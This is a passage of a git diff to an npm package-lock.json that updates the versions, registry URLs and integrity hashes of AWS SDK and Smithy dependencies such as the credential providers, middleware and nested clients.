+        "@aws-sdk/middleware-logger": "^3.972.10",
+        "@aws-sdk/middleware-recursion-detection": "^3.972.11",
+        "@aws-sdk/middleware-user-agent": "^3.972.35",
+        "@aws-sdk/region-config-resolver": "^3.972.13",
+        "@aws-sdk/types": "^3.973.8",
+        "@aws-sdk/util-endpoints": "^3.996.8",
+        "@aws-sdk/util-user-agent-browser": "^3.972.10",
+        "@aws-sdk/util-user-agent-node": "^3.973.21",
+        "@smithy/config-resolver": "^4.4.17",
+        "@smithy/core": "^3.23.17",
+        "@smithy/fetch-http-handler": "^5.3.17",
+        "@smithy/hash-node": "^4.2.14",
+        "@smithy/invalid-dependency": "^4.2.14",
+        "@smithy/middleware-content-length": "^4.2.14",
+        "@smithy/middleware-endpoint": "^4.4.32",
+        "@smithy/middleware-retry": "^4.5.5",
+        "@smithy/middleware-serde": "^4.2.20",
+        "@smithy/middleware-stack": "^4.2.14",
+        "@smithy/node-config-provider": "^4.3.14",
+        "@smithy/node-http-handler": "^4.6.1",
+        "@smithy/protocol-http": "^5.3.14",
+        "@smithy/smithy-client": "^4.12.13",
+        "@smithy/types": "^4.14.1",
+        "@smithy/url-parser": "^4.2.14",
+        "@smithy/util-base64": "^4.3.2",
+        "@smithy/util-body-length-browser": "^4.2.2",
+        "@smithy/util-body-length-node": "^4.2.3",
+        "@smithy/util-defaults-mode-browser": "^4.3.49",
+        "@smithy/util-defaults-mode-node": "^4.2.54",
+        "@smithy/util-endpoints": "^3.4.2",
+        "@smithy/util-middleware": "^4.2.14",
+        "@smithy/util-retry": "^4.3.4",
+        "@smithy/util-utf8": "^4.2.2",
+        "@smithy/util-waiter": "^4.2.16",
+        "tslib": "^2.6.2"
+      },
+      "engines": {
+        "node": ">=20.0.0"
+      }
+    },
     "node_modules/@aws-sdk/client-sts": {
       "version": "3.1020.0",
       "resolved": "https://registry.npmjs.org/@aws-sdk/client-sts/-/client-sts-3.1020.0.tgz",
@@ -1064,22 +1155,23 @@
       }
     },
     "node_modules/@aws-sdk/core": {
-      "version": "3.973.26",
-      "resolved": "https://registry.npmjs.org/@aws-sdk/core/-/core-3.973.26.tgz",
-      "integrity": "sha512-A/E6n2W42ruU+sfWk+mMUOyVXbsSgGrY3MJ9/0Az5qUdG67y8I6HYzzoAa+e/lzxxl1uCYmEL6BTMi9ZiZnplQ==",
+      "version": "3.974.5",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/core/-/core-3.974.5.tgz",
+      "integrity": "sha512-lMPlYlYfQdNZhlkJgnkmESwrY+hNh3PljmZ+37oAqLNdJ6rnILAwFSyc6B3bJeDOtMORNnMQIej0aTRuOlDyhQ==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@aws-sdk/types": "^3.973.6",
-        "@aws-sdk/xml-builder": "^3.972.16",
-        "@smithy/core": "^3.23.13",
-        "@smithy/node-config-provider": "^4.3.12",
-        "@smithy/property-provider": "^4.2.12",
-        "@smithy/protocol-http": "^5.3.12",
-        "@smithy/signature-v4": "^5.3.12",
-        "@smithy/smithy-client": "^4.12.8",
-        "@smithy/types": "^4.13.1",
+        "@aws-sdk/types": "^3.973.8",
+        "@aws-sdk/xml-builder": "^3.972.19",
+        "@smithy/core": "^3.23.17",
+        "@smithy/node-config-provider": "^4.3.14",
+        "@smithy/property-provider": "^4.2.14",
+        "@smithy/protocol-http": "^5.3.14",
+        "@smithy/signature-v4": "^5.3.14",
+        "@smithy/smithy-client": "^4.12.13",
+        "@smithy/types": "^4.14.1",
         "@smithy/util-base64": "^4.3.2",
-        "@smithy/util-middleware": "^4.2.12",
+        "@smithy/util-middleware": "^4.2.14",
+        "@smithy/util-retry": "^4.3.4",
         "@smithy/util-utf8": "^4.2.2",
         "tslib": "^2.6.2"
       },
@@ -1101,15 +1193,15 @@
       }
     },
     "node_modules/@aws-sdk/credential-provider-env": {
-      "version": "3.972.24",
-      "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-env/-/credential-provider-env-3.972.24.tgz",
-      "integrity": "sha512-FWg8uFmT6vQM7VuzELzwVo5bzExGaKHdubn0StjgrcU5FvuLExUe+k06kn/40uKv59rYzhez8eFNM4yYE/Yb/w==",
+      "version": "3.972.31",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-env/-/credential-provider-env-3.972.31.tgz",
+      "integrity": "sha512-X/yGB73LmDW/6MdDJGCDzZBUXnM3ys4vs9l+5ZTJmiEswDdP1OjeoAFlFjVGS9o4KB2wZWQ9KOfdVNSSK6Ep3w==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@aws-sdk/core": "^3.973.26",
-        "@aws-sdk/types": "^3.973.6",
-        "@smithy/property-provider": "^4.2.12",
-        "@smithy/types": "^4.13.1",
+        "@aws-sdk/core": "^3.974.5",
+        "@aws-sdk/types": "^3.973.8",
+        "@smithy/property-provider": "^4.2.14",
+        "@smithy/types": "^4.14.1",
         "tslib": "^2.6.2"
       },
       "engines": {
@@ -1117,20 +1209,20 @@
       }
     },
     "node_modules/@aws-sdk/credential-provider-http": {
-      "version": "3.972.26",
-      "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-http/-/credential-provider-http-3.972.26.tgz",
-      "integrity": "sha512-CY4ppZ+qHYqcXqBVi//sdHST1QK3KzOEiLtpLsc9W2k2vfZPKExGaQIsOwcyvjpjUEolotitmd3mUNY56IwDEA==",
+      "version": "3.972.33",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-http/-/credential-provider-http-3.972.33.tgz",
+      "integrity": "sha512-c0ZF+lwoWVvX5iCaGKL5T/4DnIw88CGqxA0BcBs3U86mIp5EZYPVg+KSPkMXOyokmADvNewiMUfSG2uFwjRp0g==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@aws-sdk/core": "^3.973.26",
-        "@aws-sdk/types": "^3.973.6",
-        "@smithy/fetch-http-handler": "^5.3.15",
-        "@smithy/node-http-handler": "^4.5.1",
-        "@smithy/property-provider": "^4.2.12",
-        "@smithy/protocol-http": "^5.3.12",
-        "@smithy/smithy-client": "^4.12.8",
-        "@smithy/types": "^4.13.1",
-        "@smithy/util-stream": "^4.5.21",
+        "@aws-sdk/core": "^3.974.5",
+        "@aws-sdk/types": "^3.973.8",
+        "@smithy/fetch-http-handler": "^5.3.17",
+        "@smithy/node-http-handler": "^4.6.1",
+        "@smithy/property-provider": "^4.2.14",
+        "@smithy/protocol-http": "^5.3.14",
+        "@smithy/smithy-client": "^4.12.13",
+        "@smithy/types": "^4.14.1",
+        "@smithy/util-stream": "^4.5.25",
         "tslib": "^2.6.2"
       },
       "engines": {
@@ -1138,24 +1230,24 @@
       }
     },
     "node_modules/@aws-sdk/credential-provider-ini": {
-      "version": "3.972.27",
-      "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-ini/-/credential-provider-ini-3.972.27.tgz",
-      "integrity": "sha512-Um26EsNSUfVUX0wUXnUA1W3wzKhVy6nviEElsh5lLZUYj9bk6DXOPnpte0gt+WHubcVfVsRk40bbm4KaroTEag==",
+      "version": "3.972.35",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-ini/-/credential-provider-ini-3.972.35.tgz",
+      "integrity": "sha512-jsU4u/cRkKFLKQS0k918FQ27fzXLG5ENiLWQMYE6581zLeI2hWh04ptlrvZMB3wJT/5d+vSzJk74X1CMFr4y8Q==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@aws-sdk/core": "^3.973.26",
-        "@aws-sdk/credential-provider-env": "^3.972.24",
-        "@aws-sdk/credential-provider-http": "^3.972.26",
-        "@aws-sdk/credential-provider-login": "^3.972.27",
-        "@aws-sdk/credential-provider-process": "^3.972.24",
-        "@aws-sdk/credential-provider-sso": "^3.972.27",
-        "@aws-sdk/credential-provider-web-identity": "^3.972.27",
-        "@aws-sdk/nested-clients": "^3.996.17",
-        "@aws-sdk/types": "^3.973.6",
-        "@smithy/credential-provider-imds": "^4.2.12",
-        "@smithy/property-provider": "^4.2.12",
-        "@smithy/shared-ini-file-loader": "^4.4.7",
-        "@smithy/types": "^4.13.1",
+        "@aws-sdk/core": "^3.974.5",
+        "@aws-sdk/credential-provider-env": "^3.972.31",
+        "@aws-sdk/credential-provider-http": "^3.972.33",
+        "@aws-sdk/credential-provider-login": "^3.972.35",
+        "@aws-sdk/credential-provider-process": "^3.972.31",
+        "@aws-sdk/credential-provider-sso": "^3.972.35",
+        "@aws-sdk/credential-provider-web-identity": "^3.972.35",
+        "@aws-sdk/nested-clients": "^3.997.3",
+        "@aws-sdk/types": "^3.973.8",
+        "@smithy/credential-provider-imds": "^4.2.14",
+        "@smithy/property-provider": "^4.2.14",
+        "@smithy/shared-ini-file-loader": "^4.4.9",
+        "@smithy/types": "^4.14.1",
         "tslib": "^2.6.2"
       },
       "engines": {
@@ -1163,18 +1255,18 @@
       }
     },
     "node_modules/@aws-sdk/credential-provider-login": {
-      "version": "3.972.27",
-      "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-login/-/credential-provider-login-3.972.27.tgz",
-      "integrity": "sha512-t3ehEtHomGZwg5Gixw4fYbYtG9JBnjfAjSDabxhPEu/KLLUp0BB37/APX7MSKXQhX6ZH7pseuACFJ19NrAkNdg==",
+      "version": "3.972.35",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-login/-/credential-provider-login-3.972.35.tgz",
+      "integrity": "sha512-5oa3j0cA50jPqgNhZ9XdJVopuzUf1klRb28/2MfLYWWiPi9DRVvbrBWT+DidbHTT36520VuXZJahQwR+YgSjrg==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@aws-sdk/core": "^3.973.26",
-        "@aws-sdk/nested-clients": "^3.996.17",
-        "@aws-sdk/types": "^3.973.6",
-        "@smithy/property-provider": "^4.2.12",
-        "@smithy/protocol-http": "^5.3.12",
-        "@smithy/shared-ini-file-loader": "^4.4.7",
-        "@smithy/types": "^4.13.1",
+        "@aws-sdk/core": "^3.974.5",
+        "@aws-sdk/nested-clients": "^3.997.3",
+        "@aws-sdk/types": "^3.973.8",
+        "@smithy/property-provider": "^4.2.14",
+        "@smithy/protocol-http": "^5.3.14",
+        "@smithy/shared-ini-file-loader": "^4.4.9",
+        "@smithy/types": "^4.14.1",
         "tslib": "^2.6.2"
       },
       "engines": {
@@ -1182,22 +1274,22 @@
       }
     },
     "node_modules/@aws-sdk/credential-provider-node": {
-      "version": "3.972.28",
-      "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-node/-/credential-provider-node-3.972.28.tgz",
-      "integrity": "sha512-rren+P6k5rShG5PX61iVi40kKdueyuMLBRTctQbyR5LooO9Ygr5L6R7ilG7RF1957NSH3KC3TU206fZuKwjSpQ==",
+      "version": "3.972.36",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-node/-/credential-provider-node-3.972.36.tgz",
+      "integrity": "sha512-4nT2T8Z7vH8KE9EdjEsuIlHpZSlcaK2PrKbQBjuUGU46BCCzF3WvP0u0Uiosni3Ykmmn4rWLVawoOCLotUtCbg==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@aws-sdk/credential-provider-env": "^3.972.24",
-        "@aws-sdk/credential-provider-http": "^3.972.26",
-        "@aws-sdk/credential-provider-ini": "^3.972.27",
-        "@aws-sdk/credential-provider-process": "^3.972.24",
-        "@aws-sdk/credential-provider-sso": "^3.972.27",
-        "@aws-sdk/credential-provider-web-identity": "^3.972.27",
-        "@aws-sdk/types": "^3.973.6",
-        "@smithy/credential-provider-imds": "^4.2.12",
-        "@smithy/property-provider": "^4.2.12",
-        "@smithy/shared-ini-file-loader": "^4.4.7",
-        "@smithy/types": "^4.13.1",
+        "@aws-sdk/credential-provider-env": "^3.972.31",
+        "@aws-sdk/credential-provider-http": "^3.972.33",
+        "@aws-sdk/credential-provider-ini": "^3.972.35",
+        "@aws-sdk/credential-provider-process": "^3.972.31",
+        "@aws-sdk/credential-provider-sso": "^3.972.35",
+        "@aws-sdk/credential-provider-web-identity": "^3.972.35",
+        "@aws-sdk/types": "^3.973.8",
+        "@smithy/credential-provider-imds": "^4.2.14",
+        "@smithy/property-provider": "^4.2.14",
+        "@smithy/shared-ini-file-loader": "^4.4.9",
+        "@smithy/types": "^4.14.1",
         "tslib": "^2.6.2"
       },
       "engines": {
@@ -1205,16 +1297,16 @@
       }
     },
     "node_modules/@aws-sdk/credential-provider-process": {
-      "version": "3.972.24",
-      "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-process/-/credential-provider-process-3.972.24.tgz",
-      "integrity": "sha512-Q2k/XLrFXhEztPHqj4SLCNID3hEPdlhh1CDLBpNnM+1L8fq7P+yON9/9M1IGN/dA5W45v44ylERfXtDAlmMNmw==",
+      "version": "3.972.31",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-process/-/credential-provider-process-3.972.31.tgz",
+      "integrity": "sha512-eKeT4MXumpBJsrDLCYcSzIkFPVTFn/es7It2oogp2OhU/ic7P/+xzFpQx9ZhwtXS57Mc5S42BPWi7lHmvs/nYg==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@aws-sdk/core": "^3.973.26",
-        "@aws-sdk/types": "^3.973.6",
-        "@smithy/property-provider": "^4.2.12",
-        "@smithy/shared-ini-file-loader": "^4.4.7",
-        "@smithy/types": "^4.13.1",
+        "@aws-sdk/core": "^3.974.5",
+        "@aws-sdk/types": "^3.973.8",
+        "@smithy/property-provider": "^4.2.14",
+        "@smithy/shared-ini-file-loader": "^4.4.9",
+        "@smithy/types": "^4.14.1",
         "tslib": "^2.6.2"
       },
       "engines": {
@@ -1222,18 +1314,18 @@
       }
     },
     "node_modules/@aws-sdk/credential-provider-sso": {
-      "version": "3.972.27",
-      "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-sso/-/credential-provider-sso-3.972.27.tgz",
-      "integrity": "sha512-CWXeGjlbBuHcm9appZUgXKP2zHDyTti0/+gXpSFJ2J3CnSwf1KWjicjN0qG2ozkMH6blrrzMrimeIOEYNl238Q==",
+      "version": "3.972.35",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-sso/-/credential-provider-sso-3.972.35.tgz",
+      "integrity": "sha512-bCuBdfnj0KGDMdLp6utMTLiJcFN2ek9EgZinxQZZSc3FxjJ/HSqeqab2cjbnoNfy8RM6suDCsRkmVY1izp9I+A==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@aws-sdk/core": "^3.973.26",
-        "@aws-sdk/nested-clients": "^3.996.17",
-        "@aws-sdk/token-providers": "3.1020.0",
-        "@aws-sdk/types": "^3.973.6",
-        "@smithy/property-provider": "^4.2.12",
-        "@smithy/shared-ini-file-loader": "^4.4.7",
-        "@smithy/types": "^4.13.1",
+        "@aws-sdk/core": "^3.974.5",
+        "@aws-sdk/nested-clients": "^3.997.3",
+        "@aws-sdk/token-providers": "3.1036.0",
+        "@aws-sdk/types": "^3.973.8",
+        "@smithy/property-provider": "^4.2.14",
+        "@smithy/shared-ini-file-loader": "^4.4.9",
+        "@smithy/types": "^4.14.1",
         "tslib": "^2.6.2"
       },
       "engines": {
@@ -1241,17 +1333,17 @@
       }
     },
     "node_modules/@aws-sdk/credential-provider-web-identity": {
-      "version": "3.972.27",
-      "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-web-identity/-/credential-provider-web-identity-3.972.27.tgz",
-      "integrity": "sha512-CUY4hQIFswdQNEsRGEzGBUKGMK5KpqmNDdu2ROMgI+45PLFS8H0y3Tm7kvM16uvvw3n1pVxk85tnRVUTgtaa1w==",
+      "version": "3.972.35",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-web-identity/-/credential-provider-web-identity-3.972.35.tgz",
+      "integrity": "sha512-swW6Bwvl8lanyEMtZOWE/oR6yqcRQH4HTQZUVsnDVgoXvRjRywpYpLv2BWwjUFyjPrqsdX6FeTkf4tMSe/qFTQ==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@aws-sdk/core": "^3.973.26",
-        "@aws-sdk/nested-clients": "^3.996.17",
-        "@aws-sdk/types": "^3.973.6",
-        "@smithy/property-provider": "^4.2.12",
-        "@smithy/shared-ini-file-loader": "^4.4.7",
-        "@smithy/types": "^4.13.1",
+        "@aws-sdk/core": "^3.974.5",
+        "@aws-sdk/nested-clients": "^3.997.3",
+        "@aws-sdk/types": "^3.973.8",
+        "@smithy/property-provider": "^4.2.14",
+        "@smithy/shared-ini-file-loader": "^4.4.9",
+        "@smithy/types": "^4.14.1",
         "tslib": "^2.6.2"
       },
       "engines": {
@@ -1335,14 +1427,14 @@
       }
     },
     "node_modules/@aws-sdk/middleware-host-header": {
-      "version": "3.972.8",
-      "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-host-header/-/middleware-host-header-3.972.8.tgz",
-      "integrity": "sha512-wAr2REfKsqoKQ+OkNqvOShnBoh+nkPurDKW7uAeVSu6kUECnWlSJiPvnoqxGlfousEY/v9LfS9sNc46hjSYDIQ==",
+      "version": "3.972.10",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-host-header/-/middleware-host-header-3.972.10.tgz",
+      "integrity": "sha512-IJSsIMeVQ8MMCPbuh1AbltkFhLBLXn7aejzfX5YKT/VLDHn++Dcz8886tXckE+wQssyPUhaXrJhdakO2VilRhg==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@aws-sdk/types": "^3.973.6",
-        "@smithy/protocol-http": "^5.3.12",
-        "@smithy/types": "^4.13.1",
+        "@aws-sdk/types": "^3.973.8",
+        "@smithy/protocol-http": "^5.3.14",
+        "@smithy/types": "^4.14.1",
         "tslib": "^2.6.2"
       },
       "engines": {
@@ -1364,13 +1456,13 @@
       }
     },
     "node_modules/@aws-sdk/middleware-logger": {
-      "version": "3.972.8",
-      "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-logger/-/middleware-logger-3.972.8.tgz",
-      "integrity": "sha512-CWl5UCM57WUFaFi5kB7IBY1UmOeLvNZAZ2/OZ5l20ldiJ3TiIz1pC65gYj8X0BCPWkeR1E32mpsCk1L1I4n+lA==",
+      "version": "3.972.10",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-logger/-/middleware-logger-3.972.10.tgz",
+      "integrity": "sha512-OOuGvvz1Dm20SjZo5oEBePFqxt5nf8AwkNDSyUHvD9/bfNASmstcYxFAHUowy4n6Io7mWUZ04JURZwSBvyQanQ==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@aws-sdk/types": "^3.973.6",
-        "@smithy/types": "^4.13.1",
+        "@aws-sdk/types": "^3.973.8",
+        "@smithy/types": "^4.14.1",
         "tslib": "^2.6.2"
       },
       "engines": {
@@ -1378,15 +1470,15 @@
       }
     },
     "node_modules/@aws-sdk/middleware-recursion-detection": {
-      "version": "3.972.9",
-      "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-recursion-detection/-/middleware-recursion-detection-3.972.9.tgz",
-      "integrity": "sha512-/Wt5+CT8dpTFQxEJ9iGy/UGrXr7p2wlIOEHvIr/YcHYByzoLjrqkYqXdJjd9UIgWjv7eqV2HnFJen93UTuwfTQ==",
+      "version": "3.972.11",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-recursion-detection/-/middleware-recursion-detection-3.972.11.tgz",
+      "integrity": "sha512-+zz6f79Kj9V5qFK2P+D8Ehjnw4AhphAlCAsPjUqEcInA9umtSSKMrHbSagEeOIsDNuvVrH98bjRHcyQukTrhaQ==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@aws-sdk/types": "^3.973.6",
+        "@aws-sdk/types": "^3.973.8",
         "@aws/lambda-invoke-store": "^0.2.2",
-        "@smithy/protocol-http": "^5.3.12",
-        "@smithy/types": "^4.13.1",
+        "@smithy/protocol-http": "^5.3.14",
+        "@smithy/types": "^4.14.1",
         "tslib": "^2.6.2"
       },
       "engines": {
@@ -1408,23 +1500,23 @@
       }
     },
     "node_modules/@aws-sdk/middleware-sdk-s3": {
-      "version": "3.972.27",
-      "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-sdk-s3/-/middleware-sdk-s3-3.972.27.tgz",
-      "integrity": "sha512-gomO6DZwx+1D/9mbCpcqO5tPBqYBK7DtdgjTIjZ4yvfh/S7ETwAPS0XbJgP2JD8Ycr5CwVrEkV1sFtu3ShXeOw==",
+      "version": "3.972.34",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-sdk-s3/-/middleware-sdk-s3-3.972.34.tgz",
+      "integrity": "sha512-/UL96JKjsjdodcRRMKl99tLQvK6Oi9ptLC9iU1yiTF/ruaDX0mtBBtnLNZDxIZRJOCVOtB49ed1YaTadqygk8Q==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@aws-sdk/core": "^3.973.26",
-        "@aws-sdk/types": "^3.973.6",
+        "@aws-sdk/core": "^3.974.5",
+        "@aws-sdk/types": "^3.973.8",
         "@aws-sdk/util-arn-parser": "^3.972.3",
-        "@smithy/core": "^3.23.13",
-        "@smithy/node-config-provider": "^4.3.12",
-        "@smithy/protocol-http": "^5.3.12",
-        "@smithy/signature-v4": "^5.3.12",
-        "@smithy/smithy-client": "^4.12.8",
-        "@smithy/types": "^4.13.1",
+        "@smithy/core": "^3.23.17",
+        "@smithy/node-config-provider": "^4.3.14",
+        "@smithy/protocol-http": "^5.3.14",
+        "@smithy/signature-v4": "^5.3.14",
+        "@smithy/smithy-client": "^4.12.13",
+        "@smithy/types": "^4.14.1",
         "@smithy/util-config-provider": "^4.2.2",
-        "@smithy/util-middleware": "^4.2.12",
-        "@smithy/util-stream": "^4.5.21",
+        "@smithy/util-middleware": "^4.2.14",
+        "@smithy/util-stream": "^4.5.25",
         "@smithy/util-utf8": "^4.2.2",
         "tslib": "^2.6.2"
       },
@@ -1447,18 +1539,18 @@
       }
     },
     "node_modules/@aws-sdk/middleware-user-agent": {
-      "version": "3.972.27",
-      "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-user-agent/-/middleware-user-agent-3.972.27.tgz",
-      "integrity": "sha512-TIRLO5UR2+FVUGmhYoAwVkKhcVzywEDX/5LzR9tjy1h8FQAXOtFg2IqgmwvxU7y933rkTn9rl6AdgcAUgQ1/Kg==",
+      "version": "3.972.35",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-user-agent/-/middleware-user-agent-3.972.35.tgz",
+      "integrity": "sha512-hOFWNOjVmOocpRlrU04nYxjMOeoe0Obu5AXEuhB8zblMCPl3cG1hdluQCZERRKFyhMQjwZnDbhSHjoMUjetFGw==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@aws-sdk/core": "^3.973.26",
-        "@aws-sdk/types": "^3.973.6",
-        "@aws-sdk/util-endpoints": "^3.996.5",
-        "@smithy/core": "^3.23.13",
-        "@smithy/protocol-http": "^5.3.12",
-        "@smithy/types": "^4.13.1",
-        "@smithy/util-retry": "^4.2.12",
+        "@aws-sdk/core": "^3.974.5",
+        "@aws-sdk/types": "^3.973.8",
+        "@aws-sdk/util-endpoints": "^3.996.8",
+        "@smithy/core": "^3.23.17",
+        "@smithy/protocol-http": "^5.3.14",
+        "@smithy/types": "^4.14.1",
+        "@smithy/util-retry": "^4.3.4",
         "tslib": "^2.6.2"
       },
       "engines": {
@@ -1466,47 +1558,48 @@
       }
     },
     "node_modules/@aws-sdk/nested-clients": {
-      "version": "3.996.17",
-      "resolved": "https://registry.npmjs.org/@aws-sdk/nested-clients/-/nested-clients-3.996.17.tgz",
-      "integrity": "sha512-7B0HIX0tEFmOSJuWzdHZj1WhMXSryM+h66h96ZkqSncoY7J6wq61KOu4Kr57b/YnJP3J/EeQYVFulgR281h+7A==",
+      "version": "3.997.3",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/nested-clients/-/nested-clients-3.997.3.tgz",
+      "integrity": "sha512-SivE6GP228IVgfsrr2c/vqTg95X0Qj39Yw4uIrcddpkUzIltNMoNOR62leHOLhODfjv9K8X2mPTwS69A5kT0nQ==",
       "license": "Apache-2.0",
       "dependencies": {
         "@aws-crypto/sha256-browser": "5.2.0",
         "@aws-crypto/sha256-js": "5.2.0",
-        "@aws-sdk/core": "^3.973.26",
-        "@aws-sdk/middleware-host-header": "^3.972.8",
-        "@aws-sdk/middleware-logger": "^3.972.8",
-        "@aws-sdk/middleware-recursion-detection": "^3.972.9",
-        "@aws-sdk/middleware-user-agent": "^3.972.27",
-        "@aws-sdk/region-config-resolver": "^3.972.10",
-        "@aws-sdk/types": "^3.973.6",
-        "@aws-sdk/util-endpoints": "^3.996.5",
-        "@aws-sdk/util-user-agent-browser": "^3.972.8",
-        "@aws-sdk/util-user-agent-node": "^3.973.13",
-        "@smithy/config-resolver": "^4.4.13",
-        "@smithy/core": "^3.23.13",
-        "@smithy/fetch-http-handler": "^5.3.15",
-        "@smithy/hash-node": "^4.2.12",
-        "@smithy/invalid-dependency": "^4.2.12",
-        "@smithy/middleware-content-length": "^4.2.12",
-        "@smithy/middleware-endpoint": "^4.4.28",
-        "@smithy/middleware-retry": "^4.4.45",
-        "@smithy/middleware-serde": "^4.2.16",
-        "@smithy/middleware-stack": "^4.2.12",
-        "@smithy/node-config-provider": "^4.3.12",
-        "@smithy/node-http-handler": "^4.5.1",
-        "@smithy/protocol-http": "^5.3.12",
-        "@smithy/smithy-client": "^4.12.8",
-        "@smithy/types": "^4.13.1",
-        "@smithy/url-parser": "^4.2.12",
+        "@aws-sdk/core": "^3.974.5",
+        "@aws-sdk/middleware-host-header": "^3.972.10",
+        "@aws-sdk/middleware-logger": "^3.972.10",
+        "@aws-sdk/middleware-recursion-detection": "^3.972.11",
+        "@aws-sdk/middleware-user-agent": "^3.972.35",
+        "@aws-sdk/region-config-resolver": "^3.972.13",
+        "@aws-sdk/signature-v4-multi-region": "^3.996.22",
+        "@aws-sdk/types": "^3.973.8",
+        "@aws-sdk/util-endpoints": "^3.996.8",
+        "@aws-sdk/util-user-agent-browser": "^3.972.10",
+        "@aws-sdk/util-user-agent-node": "^3.973.21",
+        "@smithy/config-resolver": "^4.4.17",
+        "@smithy/core": "^3.23.17",
+        "@smithy/fetch-http-handler": "^5.3.17",
+        "@smithy/hash-node": "^4.2.14",
+        "@smithy/invalid-dependency": "^4.2.14",
+        "@smithy/middleware-content-length": "^4.2.14",
+        "@smithy/middleware-endpoint": "^4.4.32",
+        "@smithy/middleware-retry": "^4.5.5",
+        "@smithy/middleware-serde": "^4.2.20",
+        "@smithy/middleware-stack": "^4.2.14",
+        "@smithy/node-config-provider": "^4.3.14",
+        "@smithy/node-http-handler": "^4.6.1",
+        "@smithy/protocol-http": "^5.3.14",
+        "@smithy/smithy-client": "^4.12.13",
+        "@smithy/types": "^4.14.1",
+        "@smithy/url-parser": "^4.2.14",
         "@smithy/util-base64": "^4.3.2",
         "@smithy/util-body-length-browser": "^4.2.2",
         "@smithy/util-body-length-node": "^4.2.3",
-        "@smithy/util-defaults-mode-browser": "^4.3.44",
-        "@smithy/util-defaults-mode-node": "^4.2.48",
-        "@smithy/util-endpoints": "^3.3.3",
-        "@smithy/util-middleware": "^4.2.12",
-        "@smithy/util-retry": "^4.2.12",
+        "@smithy/util-defaults-mode-browser": "^4.3.49",
+        "@smithy/util-defaults-mode-node": "^4.2.54",
+        "@smithy/util-endpoints": "^3.4.2",
+        "@smithy/util-middleware": "^4.2.14",
+        "@smithy/util-retry": "^4.3.4",
         "@smithy/util-utf8": "^4.2.2",
         "tslib": "^2.6.2"
       },
@@ -1515,15 +1608,15 @@
       }
     },
     "node_modules/@aws-sdk/region-config-resolver": {
-      "version": "3.972.10",
-      "resolved": "https://registry.npmjs.org/@aws-sdk/region-config-resolver/-/region-config-resolver-3.972.10.tgz",
-      "integrity": "sha512-1dq9ToC6e070QvnVhhbAs3bb5r6cQ10gTVc6cyRV5uvQe7P138TV2uG2i6+Yok4bAkVAcx5AqkTEBUvWEtBlsQ==",
+      "version": "3.972.13",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/region-config-resolver/-/region-config-resolver-3.972.13.tgz",
+      "integrity": "sha512-CvJ2ZIjK/jVD/lbOpowBVElJyC1YxLTIJ13yM0AEo0t2v7swOzGjSA6lJGH+DwZXQhcjUjoYwc8bVYCX5MDr1A==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@aws-sdk/types": "^3.973.6",
-        "@smithy/config-resolver": "^4.4.13",
-        "@smithy/node-config-provider": "^4.3.12",
-        "@smithy/types": "^4.13.1",
+        "@aws-sdk/types": "^3.973.8",
+        "@smithy/config-resolver": "^4.4.17",
+        "@smithy/node-config-provider": "^4.3.14",
+        "@smithy/types": "^4.14.1",
         "tslib": "^2.6.2"
       },
       "engines": {
@@ -1531,16 +1624,16 @@
       }
     },
     "node_modules/@aws-sdk/signature-v4-multi-region": {
-      "version": "3.996.15",
-      "resolved": "https://registry.npmjs.org/@aws-sdk/signature-v4-multi-region/-/signature-v4-multi-region-3.996.15.tgz",
-      "integrity": "sha512-Ukw2RpqvaL96CjfH/FgfBmy/ZosHBqoHBCFsN61qGg99F33vpntIVii8aNeh65XuOja73arSduskoa4OJea9RQ==",
+      "version": "3.996.22",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/signature-v4-multi-region/-/signature-v4-multi-region-3.996.22.tgz",
+      "integrity": "sha512-/rXhMXteD+BqhFd0nYprAgcZ/KtU+963uftPqd3tiFcFfooHZINXUGtOmo2SQjRVauCTNqIEzkwuSETdZFqTTA==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@aws-sdk/middleware-sdk-s3": "^3.972.27",
-        "@aws-sdk/types": "^3.973.6",
-        "@smithy/protocol-http": "^5.3.12",
-        "@smithy/signature-v4": "^5.3.12",
-        "@smithy/types": "^4.13.1",
+        "@aws-sdk/middleware-sdk-s3": "^3.972.34",
